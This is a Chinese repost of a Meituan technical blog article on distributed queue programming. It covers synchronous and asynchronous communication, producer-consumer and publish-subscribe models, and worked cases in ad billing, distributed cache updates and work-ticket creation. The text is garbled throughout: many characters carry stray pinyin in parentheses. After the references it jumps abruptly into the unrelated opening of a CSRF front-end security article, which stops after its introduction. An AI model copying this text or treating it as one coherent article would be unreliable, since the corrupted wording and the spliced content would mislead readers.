文轉(zhuǎn)自 “美團(tuán)點(diǎn)評(píng)技術(shù)博客”:http://tech.meituan.com/distributed_queue_based_programming.html
介紹
作為一種基礎(chǔ)的抽象數(shù)據(jù)結(jié)構(gòu),隊(duì)列被廣泛應(yīng)用在各類編程中。大數(shù)據(jù)時(shí)代對(duì)跨進(jìn)程、跨機(jī)器的通訊提出了更高的要求,和以往相比,分布式隊(duì)列編程的運(yùn)用幾乎已無(wú)處不在。但是,這種常見(jiàn)的基礎(chǔ)性的事物往往容易被忽視,使用者往往會(huì)忽視兩點(diǎn):
使用分布式隊(duì)列的時(shí)候,沒(méi)有意識(shí)到它是隊(duì)列。
有具體需求的時(shí)候,忘記了分布式隊(duì)列的存在。
文章首先從最基礎(chǔ)的需求出發(fā),詳細(xì)剖析分布式隊(duì)列編程模型的需求來(lái)源、定義、結(jié)構(gòu)以及其變化多樣性。通過(guò)這一部分的講解,作者期望能在兩方面幫助讀者:一方面,提供一個(gè)系統(tǒng)性的思考方法,使讀者能夠?qū)⒕唧w需求關(guān)聯(lián)到分布式隊(duì)列編程模型,具備進(jìn)行分布式隊(duì)列架構(gòu)的能力;另一方面,通過(guò)全方位的講解,讓讀者能夠快速識(shí)別工作中碰到的各種分布式隊(duì)列編程模型。
文章的第二部分實(shí)戰(zhàn)篇。根據(jù)作者在新美大實(shí)際工作經(jīng)驗(yàn),給出了隊(duì)列式編程在分布式環(huán)境下的一些具體應(yīng)用。這些例子的基礎(chǔ)模型并非首次出現(xiàn)在互聯(lián)網(wǎng)的文檔中,但是所有的例子都是按照挑戰(zhàn)、構(gòu)思、架構(gòu)三個(gè)步驟進(jìn)行講解的。這種講解方式能給讀者一個(gè)“從需求出發(fā)去構(gòu)架分布式隊(duì)列編程”的旅程。
在文章的最后一部分優(yōu)化篇里面,重點(diǎn)闡述了在工程師在運(yùn)用分布式隊(duì)列編程構(gòu)架的時(shí)候,在生產(chǎn)者、分布式隊(duì)列以及消費(fèi)者這三個(gè)環(huán)節(jié)的注意點(diǎn)以及優(yōu)化建議。
分布式隊(duì)列編程--模型篇
模型篇從基礎(chǔ)的需求出發(fā),去思考何時(shí)以及如何使用分布式隊(duì)列編程模型。建模環(huán)節(jié)非常重要,因?yàn)榇蟛糠种懈呒?jí)工程師面臨的都是具體的需求,接到需求后的第一個(gè)步驟就是建模。通過(guò)本篇的講解,希望讀者能夠建立起從需求到分布式隊(duì)列編程模型之間的橋梁。
從通訊
通訊是人們最基本的需求,同樣也是計(jì)算機(jī)最基本的需求。對(duì)于工程師而言,在編程和技術(shù)選型的時(shí)候,更容易進(jìn)入大腦的概念是RPC、RESTful、Ajax、Kafka。在這些具體的概念后面,最本質(zhì)的東西是“通訊”。所以,大部分建模和架構(gòu)都需要從“通訊”這個(gè)基本概念開(kāi)始。當(dāng)確定系統(tǒng)之間有通訊需求的時(shí)候,工程師們需要做很多的決策和平衡,這直接影響工程師們是否會(huì)選擇分布式隊(duì)列編程模型作為架構(gòu)。從這個(gè)角度出發(fā),影響建模的因素有四個(gè):When、Who、Where、How。
When:同步VS異步
通訊的一個(gè)基本問(wèn)題是:發(fā)出去的消息什么時(shí)候需要被接收到?這個(gè)問(wèn)題引出了兩個(gè)基礎(chǔ)概念:“同步通訊”和“異步通訊”。根據(jù)理論抽象模型,同步通訊和異步通訊最本質(zhì)的差別來(lái)自于時(shí)鐘機(jī)制的有無(wú)。同步通訊的雙方需要一個(gè)校準(zhǔn)的時(shí)鐘,異步通訊的雙方不需要時(shí)鐘。現(xiàn)實(shí)的情況是,沒(méi)有完全校準(zhǔn)的時(shí)鐘,所以沒(méi)有絕對(duì)的同步通訊。同樣,絕對(duì)異步通訊意味著無(wú)法控制一個(gè)發(fā)出去的消息被接收到的時(shí)間點(diǎn),無(wú)期限的等待一個(gè)消息顯然毫無(wú)實(shí)際意義。所以,實(shí)際編程中所有的通訊既不是“同步通訊”也不是“異步通訊”;或者說(shuō),既是“同步通訊”也是“異步通訊”。特別是對(duì)于應(yīng)用層的通訊,其底層架構(gòu)可能既包含“同步機(jī)制”也包含“異步機(jī)制”。判斷“同步”和“異步”消息的標(biāo)準(zhǔn)問(wèn)題太深,而不適合繼續(xù)展開(kāi)。作者這里給一些啟發(fā)式的建議:
發(fā)出去的消息是否需要確認(rèn),如果不需要確認(rèn),更像是異步通訊,這種通訊有時(shí)候也稱為單向通訊(One-Way Communication)。
如果需要確認(rèn),可以根據(jù)需要確認(rèn)的時(shí)間長(zhǎng)短進(jìn)行判斷。時(shí)間長(zhǎng)的更像是異步通訊,時(shí)間短的更像是同步通訊。當(dāng)然時(shí)間長(zhǎng)短的概念是純粹的主觀概念,不是客觀標(biāo)準(zhǔn)。
發(fā)出去的消息是否阻塞下一個(gè)指令的執(zhí)行,如果阻塞,更像是同步,否則,更像是異步。
無(wú)論如何,工程師們不能生活在混沌之中,不做決定往往是最壞的決定。當(dāng)分析一個(gè)通訊需求或者進(jìn)行通訊構(gòu)架的時(shí)候,工程師們被迫作出“同步”還是“異步”的決定。當(dāng)決策的結(jié)論是“異步通訊”的時(shí)候,分布式隊(duì)列編程模型就是一個(gè)備選項(xiàng)。
Who:發(fā)送者接收者解耦
在進(jìn)行通訊需求分析的時(shí)候,需要回答的另外一個(gè)基本問(wèn)題是:消息的發(fā)送方是否關(guān)心誰(shuí)來(lái)接收消息,或者反過(guò)來(lái),消息接收方是否關(guān)心誰(shuí)來(lái)發(fā)送消息。如果工程師的結(jié)論是:消息的發(fā)送方和接收方不關(guān)心對(duì)方是誰(shuí)、以及在哪里,分布式隊(duì)列編程模型就是一個(gè)備選項(xiàng)。因?yàn)樵谶@種場(chǎng)景下,分布式隊(duì)列架構(gòu)所帶來(lái)的解耦能給系統(tǒng)架構(gòu)帶來(lái)這些好處:
無(wú)論是發(fā)送方還是接收方,只需要跟消息中間件通訊,接口統(tǒng)一。統(tǒng)一意味著降低開(kāi)發(fā)成本。
在不影響性能的前提下,同一套消息中間件部署,可以被不同業(yè)務(wù)共享。共享意味著降低運(yùn)維成本。
發(fā)送方或者接收方單方面的部署拓?fù)涞淖兓挥绊憣?duì)應(yīng)的另一方。解藕意味著靈活和可擴(kuò)展。
Where:消息暫存機(jī)制
在進(jìn)行通訊發(fā)送方設(shè)計(jì)的時(shí)候,令工程師們苦惱的問(wèn)題是:如果消息無(wú)法被迅速處理掉而產(chǎn)生堆積怎么辦、能否被直接拋棄?如果根據(jù)需求分析,確認(rèn)存在消息積存,并且消息不應(yīng)該被拋棄,就應(yīng)該考慮分布式隊(duì)列編程模型構(gòu)架,因?yàn)殛?duì)列可以暫存消息。
How:如何傳遞
對(duì)通訊需求進(jìn)行架構(gòu),一系列的基礎(chǔ)挑戰(zhàn)會(huì)迎面而來(lái),這包括:
可用性,如何保障通訊的高可用。
可靠性,如何保證消息被可靠地傳遞。
持久化,如何保證消息不會(huì)丟失。
吞吐量和響應(yīng)時(shí)間。
跨平臺(tái)兼容性。
除非工程師對(duì)造輪子有足夠的興趣,并且有充足的時(shí)間,采用一個(gè)滿足各項(xiàng)指標(biāo)的分布式隊(duì)列編程模型就是一個(gè)簡(jiǎn)單的選擇。
分布式隊(duì)列編程定義
很難給出分布式隊(duì)列編程模型的精確定義,由于本文偏重于應(yīng)用,作者并不打算完全參照某個(gè)標(biāo)準(zhǔn)的模型。總體而言:分布式隊(duì)列編程模型包含三類角色:發(fā)送者(Sender)、分布式隊(duì)列(Queue)、接收者(Receiver)。發(fā)送者和接收者分別指的是生產(chǎn)消息和接收消息的應(yīng)用程序或服務(wù)。
需要重點(diǎn)明確的概念是分布式隊(duì)列,它是提供以下功能的應(yīng)用程序或服務(wù):1. 接收“發(fā)送者”產(chǎn)生的消息實(shí)體;2. 傳輸、暫存該實(shí)體;3. 為“接收者”提供讀取該消息實(shí)體的功能。。特定的場(chǎng)景下,它當(dāng)然可以是Kafka、RabbitMQ等消息中間件。但它的展現(xiàn)形式并不限于此,例如:
隊(duì)列可以是一張數(shù)據(jù)庫(kù)的表,發(fā)送者將消息寫(xiě)入表,接收者從數(shù)據(jù)表里讀消息。
如果一個(gè)程序把數(shù)據(jù)寫(xiě)入Redis等內(nèi)存Cache里面,另一個(gè)程序從Cache里面讀取,緩存在這里就是一種分布式隊(duì)列。
流式編程里面的的數(shù)據(jù)流傳輸也是一種隊(duì)列。
典型的MVC(Model–view–controller)設(shè)計(jì)模式里面,如果Model的變化需要導(dǎo)致View的變化,也可以通過(guò)隊(duì)列進(jìn)行傳輸。這里的分布式隊(duì)列可以是數(shù)據(jù)庫(kù),也可以是某臺(tái)服務(wù)器上的一塊內(nèi)存。
抽象模型
最基礎(chǔ)的分布式隊(duì)列編程抽象模型是點(diǎn)對(duì)點(diǎn)模型,其他抽象構(gòu)架模型居于改基本模型上各角色的數(shù)量和交互變化所導(dǎo)致的不同拓?fù)鋱D。具體而言,不同數(shù)量的發(fā)送者、分布式隊(duì)列以及接收者組合形成了不同的分布式隊(duì)列編程模型。記住并理解典型的抽象模型結(jié)構(gòu)對(duì)需求分析和建模而言至關(guān)重要,同時(shí)也會(huì)有助于學(xué)習(xí)和深入理解開(kāi)源框架以及別人的代碼。
點(diǎn)對(duì)點(diǎn)模型(Point-to-point)
基礎(chǔ)模型中,只有一個(gè)發(fā)送者、一個(gè)接收者和一個(gè)分布式隊(duì)列。如下圖所示:
生產(chǎn)者消費(fèi)者模型(Producer–consumer)
如果發(fā)送者和接收者都可以有多個(gè)部署實(shí)例,甚至不同的類型;但是共用同一個(gè)隊(duì)列,這就變成了標(biāo)準(zhǔn)的生產(chǎn)者消費(fèi)者模型。在該模型,三個(gè)角色一般稱之為生產(chǎn)者(Producer)、分布式隊(duì)列(Queue)、消費(fèi)者(Consumer)。
發(fā)布訂閱模型(PubSub)
如果只有一類發(fā)送者,發(fā)送者將產(chǎn)生的消息實(shí)體按照不同的主題(Topic)分發(fā)到不同的邏輯隊(duì)列。每種主題隊(duì)列對(duì)應(yīng)于一類接收者。這就變成了典型的發(fā)布訂閱模型。在該模型,三個(gè)角色一般稱之為發(fā)布者(Publisher),分布式隊(duì)列(Queue),訂閱者(Subscriber)。
MVC模型
如果發(fā)送者和接收者存在于同一個(gè)實(shí)體中,但是共享一個(gè)分布式隊(duì)列。這就很像經(jīng)典的MVC模型。
編程模型
為了讓讀者更好地理解分布式隊(duì)列編程模式概念,這里將其與一些容易混淆的概念做一些對(duì)比 。
分布式隊(duì)列模型編程和異步編程
分布式隊(duì)列編程模型的通訊機(jī)制一般是采用異步機(jī)制,但是它并不等同于異步編程。
首先,并非所有的異步編程都需要引入隊(duì)列的概念,例如:大部分的操作系統(tǒng)異步I/O操作都是通過(guò)硬件中斷( Hardware Interrupts)來(lái)實(shí)現(xiàn)的。
其次,異步編程并不一定需要跨進(jìn)程,所以其應(yīng)用場(chǎng)景并不一定是分布式環(huán)境。
最后,分布式隊(duì)列編程模型強(qiáng)調(diào)發(fā)送者、接收者和分布式隊(duì)列這三個(gè)角色共同組成的架構(gòu)。這三種角色與異步編程沒(méi)有太多關(guān)聯(lián)。
分布式隊(duì)列模式編程和流式編程
隨著Spark Streaming,Apache Storm等流式框架的廣泛應(yīng)用,流式編程成了當(dāng)前非常流行的編程模式。但是本文所闡述的分布式隊(duì)列編程模型和流式編程并非同一概念。
首先,本文的隊(duì)列編程模式不依賴于任何框架,而流式編程是在具體的流式框架內(nèi)的編程。
其次,分布式隊(duì)列編程模型是一個(gè)需求解決方案,關(guān)注如何根據(jù)實(shí)際需求進(jìn)行分布式隊(duì)列編程建模。流式框架里的數(shù)據(jù)流一般都通過(guò)隊(duì)列傳遞,不過(guò),流式編程的關(guān)注點(diǎn)比較聚焦,它關(guān)注如何從流式框架里獲取消息流,進(jìn)行map、reduce、 join等轉(zhuǎn)型(Transformation)操作、生成新的數(shù)據(jù)流,最終進(jìn)行匯總、統(tǒng)計(jì)。
分布式隊(duì)列編程--實(shí)戰(zhàn)篇
這里所有的項(xiàng)目都是作者在新美大工作的真實(shí)案例。實(shí)戰(zhàn)篇的關(guān)注點(diǎn)是訓(xùn)練建模思路,所以這些例子都按照挑戰(zhàn)、構(gòu)思、架構(gòu)三個(gè)步驟進(jìn)行講解。受限于保密性要求,有些細(xì)節(jié)并未給出,但這些細(xì)節(jié)并不影響講解的完整性。另一方面,特別具體的需求容易讓人費(fèi)解,為了使講解更加順暢,作者也會(huì)采用一些更通俗易懂的例子。通過(guò)本篇的講解,希望和讀者一起去實(shí)踐“如何從需求出發(fā)去構(gòu)架分布式隊(duì)列編程模型”。
需要聲明的是,這里的解決方案并不是所處場(chǎng)景的最優(yōu)方案。但是,任何一個(gè)稍微復(fù)雜的問(wèn)題,都沒(méi)有最優(yōu)解決方案,更談不上唯一的解決方案。實(shí)際上,工程師每天所追尋的只是在滿足一定約束條件下的可行方案。當(dāng)然不同的約束會(huì)導(dǎo)致不同的方案,約束的松弛度決定了工程師的可選方案的寬廣度。
信息采集處理
信息采集處理應(yīng)用廣泛,例如:廣告計(jì)費(fèi)、用戶行為收集等。作者碰到的具體項(xiàng)目是為廣告系統(tǒng)設(shè)計(jì)一套高可用的采集計(jì)費(fèi)系統(tǒng)。
典型的廣告CPC、CPM計(jì)費(fèi)原理是:收集用戶在客戶端或者網(wǎng)頁(yè)上的點(diǎn)擊和瀏覽行為,按照點(diǎn)擊和瀏覽進(jìn)行計(jì)費(fèi)。計(jì)費(fèi)業(yè)務(wù)有如下典型特征:
采集者和處理者解耦,采集發(fā)生在客戶端,而計(jì)費(fèi)發(fā)生在服務(wù)端。
計(jì)費(fèi)與錢(qián)息息相關(guān)。
重復(fù)計(jì)費(fèi)意味著災(zāi)難。
計(jì)費(fèi)是動(dòng)態(tài)實(shí)時(shí)行為,需要接受預(yù)算約束,如果消耗超過(guò)預(yù)算,則廣告投放需要停止。
用戶的瀏覽和點(diǎn)擊量非常大。
挑戰(zhàn)
計(jì)費(fèi)業(yè)務(wù)的典型特征給我們帶來(lái)了如下挑戰(zhàn):
高吞吐量--廣告的瀏覽和點(diǎn)擊量非常巨大,我們需要設(shè)計(jì)一個(gè)高吞吐量的采集架構(gòu)。
高可用性--計(jì)費(fèi)信息的丟失意味著直接的金錢(qián)損失。任何處理服務(wù)器的崩潰不應(yīng)該導(dǎo)致系統(tǒng)不可用。
高一致性要求--計(jì)費(fèi)是一個(gè)實(shí)時(shí)動(dòng)態(tài)處理過(guò)程,但要受到預(yù)算的約束。收集到的瀏覽和點(diǎn)擊行為如果不能快速處理,可能會(huì)導(dǎo)致預(yù)算花超,或者點(diǎn)擊率預(yù)估不準(zhǔn)確。所以采集到的信息應(yīng)該在最短的時(shí)間內(nèi)傳輸?shù)接?jì)費(fèi)中心進(jìn)行計(jì)費(fèi)。
完整性約束--這包括反作弊規(guī)則,單個(gè)用戶行為不能重復(fù)計(jì)費(fèi)等。這要求計(jì)費(fèi)是一個(gè)集中行為而非分布式行為。
持久化要求--計(jì)費(fèi)信息需要持久化,避免因?yàn)闄C(jī)器崩潰而導(dǎo)致收集到的數(shù)據(jù)產(chǎn)生丟失。
構(gòu)思
采集的高可用性意味著我們需要多臺(tái)服務(wù)器同時(shí)采集,為了避免單IDC故障,采集服務(wù)器需要部署在多IDC里面。
實(shí)現(xiàn)一個(gè)高可用、高吞吐量、高一致性的信息傳遞系統(tǒng)顯然是一個(gè)挑戰(zhàn),為了控制項(xiàng)目開(kāi)發(fā)成本,采用開(kāi)源的消息中間件進(jìn)行消息傳輸就成了必然選擇。
完整性約束要求集中進(jìn)行計(jì)費(fèi),所以計(jì)費(fèi)系統(tǒng)發(fā)生在核心IDC。
計(jì)費(fèi)服務(wù)并不關(guān)心采集點(diǎn)在哪里,采集服務(wù)也并不關(guān)心誰(shuí)進(jìn)行計(jì)費(fèi)。
根據(jù)以上構(gòu)思,我們認(rèn)為采集計(jì)費(fèi)符合典型的“生產(chǎn)者消費(fèi)者模型”。
架構(gòu)
采集計(jì)費(fèi)系統(tǒng)架構(gòu)圖如下:
用戶點(diǎn)擊瀏覽收集服務(wù)(Click/View Collector)作為生產(chǎn)者部署在多個(gè)機(jī)房里,以提高收集服務(wù)可用性。
每個(gè)機(jī)房里采集到的數(shù)據(jù)通過(guò)消息隊(duì)列中間件發(fā)送到核心機(jī)房IDC_Master。
Billing服務(wù)作為消費(fèi)者部署在核心機(jī)房集中計(jì)費(fèi)。
采用此架構(gòu),我們可以在如下方面做進(jìn)一步優(yōu)化:
提高可擴(kuò)展性,如果一個(gè)Billing部署實(shí)例在性能上無(wú)法滿足要求,可以對(duì)采集的數(shù)據(jù)進(jìn)行主題分區(qū)(Topic Partition)計(jì)費(fèi),即采用發(fā)布訂閱模式以提高可擴(kuò)展性(Scalability)。
全局排重和反作弊。采用集中計(jì)費(fèi)架構(gòu)解決了點(diǎn)擊瀏覽排重的問(wèn)題,另一方面,這也給反作弊提供了全局信息。
提高計(jì)費(fèi)系統(tǒng)的可用性。采用下文單例服務(wù)優(yōu)化策略,在保障計(jì)費(fèi)系統(tǒng)集中性的同時(shí),提高計(jì)費(fèi)系統(tǒng)可用性。
分布式緩存更新(Distributed Cache Replacement)
緩存是一個(gè)非常寬泛的概念,幾乎存在于系統(tǒng)各個(gè)層級(jí)。典型的緩存訪問(wèn)流程如下:
接收到請(qǐng)求后,先讀取緩存,如果命中則返回結(jié)果。
如果緩存不命中,讀取DB或其它持久層服務(wù),更新緩存并返回結(jié)果。
對(duì)于已經(jīng)存入緩存的數(shù)據(jù),其更新時(shí)機(jī)和更新頻率是一個(gè)經(jīng)典問(wèn)題,即緩存更新機(jī)制(Cache Replacement Algorithms )。典型的緩存更新機(jī)制包括:近期最少使用算法(LRU)、最不經(jīng)常使用算法(LFU)。這兩種緩存更新機(jī)制的典型實(shí)現(xiàn)是:?jiǎn)?dòng)一個(gè)后臺(tái)進(jìn)程,定期清理最近沒(méi)有使用的,或者在一段時(shí)間內(nèi)最少使用的數(shù)據(jù)。由于存在緩存驅(qū)逐機(jī)制,當(dāng)一個(gè)請(qǐng)求在沒(méi)有命中緩存時(shí),業(yè)務(wù)層需要從持久層中獲取信息并更新緩存,提高一致性。
挑戰(zhàn)
分布式緩存給緩存更新機(jī)制帶來(lái)了新的問(wèn)題:
數(shù)據(jù)一致性低。分布式緩存中鍵值數(shù)量巨大,從而導(dǎo)致LRU或者LFU算法更新周期很長(zhǎng)。在分布式緩存中,拿LRU算法舉例,其典型做法是為每個(gè)Key值設(shè)置一個(gè)生存時(shí)間(TTL),生存時(shí)間到期后將該鍵值從緩存中驅(qū)逐除去。考慮到分布式緩存中龐大的鍵值數(shù)量,生存時(shí)間往往會(huì)設(shè)置的比較長(zhǎng),這就導(dǎo)致緩存和持久層數(shù)據(jù)不一致時(shí)間很長(zhǎng)。如果生存時(shí)間設(shè)置過(guò)短,大量請(qǐng)求無(wú)法命中緩存被迫讀取持久層,系統(tǒng)響應(yīng)時(shí)間會(huì)急劇惡化。
新數(shù)據(jù)不可用。在很多場(chǎng)景下,由于分布式緩存和持久層的訪問(wèn)性能相差太大,在緩存不命中的情況下,一些應(yīng)用層服務(wù)不會(huì)嘗試讀取持久層,而直接返回空結(jié)果。漫長(zhǎng)的緩存更新周期意味著新數(shù)據(jù)的可用性就被犧牲了。從統(tǒng)計(jì)的角度來(lái)講,新鍵值需要等待半個(gè)更新周期才會(huì)可用。
構(gòu)思
根據(jù)上面的分析,分布式緩存需要解決的問(wèn)題是:在保證讀取性能的前提下,盡可能地提高老數(shù)據(jù)的一致性和新數(shù)據(jù)的可用性。如果仍然假定最近被訪問(wèn)的鍵值最有可能被再次訪問(wèn)(這是LRU或者LFU成立的前提),鍵值每次被訪問(wèn)后觸發(fā)一次異步更新就是提高可用性和一致性最早的時(shí)機(jī)。無(wú)論是高性能要求還是業(yè)務(wù)解耦都要求緩存讀取和緩存更新分開(kāi),所以我們應(yīng)該構(gòu)建一個(gè)單獨(dú)的集中的緩存更新服務(wù)。集中進(jìn)行緩存更新的另外一個(gè)好處來(lái)自于頻率控制。由于在一段時(shí)間內(nèi),很多類型訪問(wèn)鍵值的數(shù)量滿足高斯分布,短時(shí)間內(nèi)重復(fù)對(duì)同一個(gè)鍵值進(jìn)行更新Cache并不會(huì)帶來(lái)明顯的好處,甚至造成緩存性能的下降。通過(guò)控制同一鍵值的更新頻率可以大大緩解該問(wèn)題,同時(shí)有利于提高整體數(shù)據(jù)的一致性,參見(jiàn)“排重優(yōu)化”。
綜上所述,業(yè)務(wù)訪問(wèn)方需要把請(qǐng)求鍵值快速傳輸給緩存更新方,它們之間不關(guān)心對(duì)方的業(yè)務(wù)。要快速、高性能地實(shí)現(xiàn)大量請(qǐng)求鍵值消息的傳輸,高性能分布式消息中間件就是一個(gè)可選項(xiàng)。這三方一起組成了一個(gè)典型的分布式隊(duì)列編程模型。
架構(gòu)
如下圖,所有的業(yè)務(wù)請(qǐng)求方作為生產(chǎn)者,在返回業(yè)務(wù)代碼處理之前將請(qǐng)求鍵值寫(xiě)入高性能隊(duì)列。Cache Updater作為消費(fèi)者從隊(duì)列中讀取請(qǐng)求鍵值,將持久層中數(shù)據(jù)更新到緩存中。
采用此架構(gòu),我們可以在如下方面做進(jìn)一步優(yōu)化:
提高可擴(kuò)展性,如果一個(gè)Cache Updater在性能上無(wú)法滿足要求,可以對(duì)鍵值進(jìn)行主題分區(qū)(Topic Partition)進(jìn)行并行緩存更新,即采用發(fā)布訂閱模式以提高可擴(kuò)展性(Scalability)。
更新頻率控制。緩存更新都集中處理,對(duì)于發(fā)布訂閱模式,同一類主題(Topic)的鍵值集中處理。Cache Updater可以控制對(duì)同一鍵值的在短期內(nèi)的更新頻率(參見(jiàn)下文排重優(yōu)化)。
后臺(tái)任務(wù)處理
典型的后臺(tái)任務(wù)處理應(yīng)用包括工單處理、火車(chē)票預(yù)訂系統(tǒng)、機(jī)票選座等。我們所面對(duì)的問(wèn)題是為運(yùn)營(yíng)人員創(chuàng)建工單。一次可以為多個(gè)運(yùn)營(yíng)人員創(chuàng)建多個(gè)工單。這個(gè)應(yīng)用場(chǎng)景和火車(chē)票購(gòu)買(mǎi)非常類似。工單相對(duì)來(lái)說(shuō)更加抽象,所以,下文會(huì)結(jié)合火車(chē)票購(gòu)買(mǎi)和運(yùn)營(yíng)人員工單分配這兩種場(chǎng)景同時(shí)講解。典型的工單創(chuàng)建要經(jīng)歷兩個(gè)階段:數(shù)據(jù)篩選階段、工單創(chuàng)建階段。例如,在火車(chē)票預(yù)訂場(chǎng)景,數(shù)據(jù)篩選階段用戶選擇特定時(shí)間、特定類型的火車(chē),而在工單創(chuàng)建階段,用戶下單購(gòu)買(mǎi)火車(chē)票。
挑戰(zhàn)
工單創(chuàng)建往往會(huì)面臨如下挑戰(zhàn):
數(shù)據(jù)一致性問(wèn)題。以火車(chē)票預(yù)訂為例,用戶篩選火車(chē)票和最終購(gòu)買(mǎi)之間往往有一定的時(shí)延,意味著兩個(gè)操作之間數(shù)據(jù)是不一致的。在篩選階段,工程師們需決定是否進(jìn)行車(chē)票鎖定,如果不鎖定,則無(wú)法保證出票成功。反之,如果在篩選地時(shí)候鎖定車(chē)票,則會(huì)大大降低系統(tǒng)效率和出票吞吐量。
約束問(wèn)題。工單創(chuàng)建需要滿足很多約束,主要包含兩種類型:動(dòng)態(tài)約束,與操作者的操作行為有關(guān),例如購(gòu)買(mǎi)幾張火車(chē)票的決定往往發(fā)生在篩選最后階段。隱性約束,這種約束很難通過(guò)界面進(jìn)行展示,例如一個(gè)用戶購(gòu)買(mǎi)了5張火車(chē)票,這些票應(yīng)該是在同一個(gè)車(chē)廂的臨近位置。
優(yōu)化問(wèn)題。工單創(chuàng)建往往是約束下的優(yōu)化,這是典型的統(tǒng)籌優(yōu)化問(wèn)題,而統(tǒng)籌優(yōu)化往往需要比較長(zhǎng)的時(shí)間。
響應(yīng)時(shí)間問(wèn)題。對(duì)于多任務(wù)工單,一個(gè)請(qǐng)求意味著多個(gè)任務(wù)產(chǎn)生。這些任務(wù)的創(chuàng)建往往需要遵循事務(wù)性原則,即All or Nothing。在數(shù)據(jù)層面,這意味著工單之間需要滿足串行化需求(Serializability)。大數(shù)據(jù)量的串行化往往意味著鎖沖突延遲甚至失敗。無(wú)論是延遲機(jī)制所導(dǎo)致的長(zhǎng)時(shí)延,還是高創(chuàng)建失敗率,都會(huì)大大傷害用戶體驗(yàn)。
構(gòu)思
如果將用戶篩選的最終規(guī)則做為消息存儲(chǔ)下來(lái),并發(fā)送給工單創(chuàng)建系統(tǒng)。此時(shí),工單創(chuàng)建系統(tǒng)將具備創(chuàng)建工單所需的全局信息,具備在滿足各種約束的條件下進(jìn)行統(tǒng)籌優(yōu)化的能力。如果工單創(chuàng)建階段采用單實(shí)例部署,就可以避免數(shù)據(jù)鎖定問(wèn)題,同時(shí)也意味著沒(méi)有鎖沖突,所以也不會(huì)有死鎖或任務(wù)延遲問(wèn)題。
居于以上思路,在多工單處理系統(tǒng)的模型中,篩選階段的規(guī)則創(chuàng)建系統(tǒng)將充當(dāng)生產(chǎn)者角色,工單創(chuàng)建系統(tǒng)將充當(dāng)消費(fèi)者角色,篩選規(guī)則將作為消息在兩者之間進(jìn)行傳遞。這就是典型的分布式隊(duì)列編程架構(gòu)。根據(jù)工單創(chuàng)建量的不同,可以采用數(shù)據(jù)庫(kù)或開(kāi)源的分布式消息中間件作為分布式隊(duì)列。
架構(gòu)
該架構(gòu)流程如下圖:
用戶首選進(jìn)行規(guī)則創(chuàng)建,這個(gè)過(guò)程主要是一些搜索篩選操作;
用戶點(diǎn)擊工單創(chuàng)建,TicketRule Generator將把所有的篩選性組裝成規(guī)則消息并發(fā)送到隊(duì)列里面去;
Ticket Generator作為一個(gè)消費(fèi)者,實(shí)時(shí)從隊(duì)列中讀取工單創(chuàng)建請(qǐng)求,開(kāi)始真正創(chuàng)建工單。
采用該架構(gòu),我們?cè)跀?shù)據(jù)鎖定、運(yùn)籌優(yōu)化、原子性問(wèn)題都能得到比較好成果:
數(shù)據(jù)鎖定推遲到工單創(chuàng)建階段,可以減少數(shù)據(jù)鎖定范圍,最大程度的降低工單創(chuàng)建對(duì)其他在線操作的影響范圍。
如果需要進(jìn)行統(tǒng)籌優(yōu)化,可以將Ticket Generator以單例模式進(jìn)行部署(參見(jiàn)單例服務(wù)優(yōu)化)。這樣,Ticket Generator可以讀取一段時(shí)間內(nèi)的工單請(qǐng)求,進(jìn)行全局優(yōu)化。例如,在我們的項(xiàng)目中,在某種條件下,運(yùn)營(yíng)人員需要滿足分級(jí)公平原則,即相同級(jí)別的運(yùn)營(yíng)人員的工單數(shù)量應(yīng)該接近,不同級(jí)別的運(yùn)營(yíng)人員工單數(shù)量應(yīng)該有所區(qū)分。如果不集中進(jìn)行統(tǒng)籌優(yōu)化,實(shí)現(xiàn)這種優(yōu)化規(guī)則將會(huì)很困難。
保障了約束完整性。例如,在我們的場(chǎng)景里面,每個(gè)運(yùn)營(yíng)人員每天能夠處理的工單是有數(shù)量限制的,如果采用并行處理的方式,這種完整性約束將會(huì)很難實(shí)施。
參考資料
[1] Rabbit MQ, Highly Available Queues.
[2] IBM Knowledge Center, Introduction to message queuing.
[3] Wikipedia, Serializability.
[4] Hadoop, ZooKeeper Recipes and Solutions.
[5] Apache Kafka.
[6] Lamport L, Paxos Made Simple.
查看更多技術(shù)類文章,請(qǐng)關(guān)注微信公眾號(hào):美團(tuán)點(diǎn)評(píng)技術(shù)團(tuán)隊(duì)。
當(dāng)當(dāng)當(dāng),我是美團(tuán)技術(shù)團(tuán)隊(duì)的程序員鼓勵(lì)師美美~“基本功”專欄又來(lái)新文章了,本篇是我們前端安全系列文章的第二篇,主要聊聊前端開(kāi)發(fā)過(guò)程中遇到的CSRF問(wèn)題,希望對(duì)你有幫助哦~
我們將不斷梳理常見(jiàn)的前端安全問(wèn)題以及對(duì)應(yīng)的解決方案,希望可以幫助前端同學(xué)在日常開(kāi)發(fā)中不斷預(yù)防和修復(fù)安全漏洞,Enjoy Reading!
背景
隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問(wèn)題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問(wèn)題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問(wèn)題之外,又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問(wèn)題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來(lái)增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。
前端安全
近幾年,美團(tuán)業(yè)務(wù)高速發(fā)展,前端隨之面臨很多安全挑戰(zhàn),因此積累了大量的實(shí)踐經(jīng)驗(yàn)。我們梳理了常見(jiàn)的前端安全問(wèn)題以及對(duì)應(yīng)的解決方案,將會(huì)做成一個(gè)系列,希望可以幫助前端同學(xué)在日常開(kāi)發(fā)中不斷預(yù)防和修復(fù)安全漏洞。此前我們已經(jīng)發(fā)布過(guò)《前端安全系列之一:如何防止XSS攻擊?》,本文是該系列的第二篇。
今天我們講解一下 CSRF,其實(shí)相比XSS,CSRF的名氣似乎并不是那么大,很多人都認(rèn)為“CSRF不具備那么大的破壞性”。真的是這樣嗎?接下來(lái),我們還是有請(qǐng)小明同學(xué)再次“閃亮”登場(chǎng)。
CSRF攻擊
CSRF漏洞的發(fā)生
相比XSS,CSRF的名氣似乎并不是那么大,很多人都認(rèn)為CSRF“不那么有破壞性”。真的是這樣嗎?
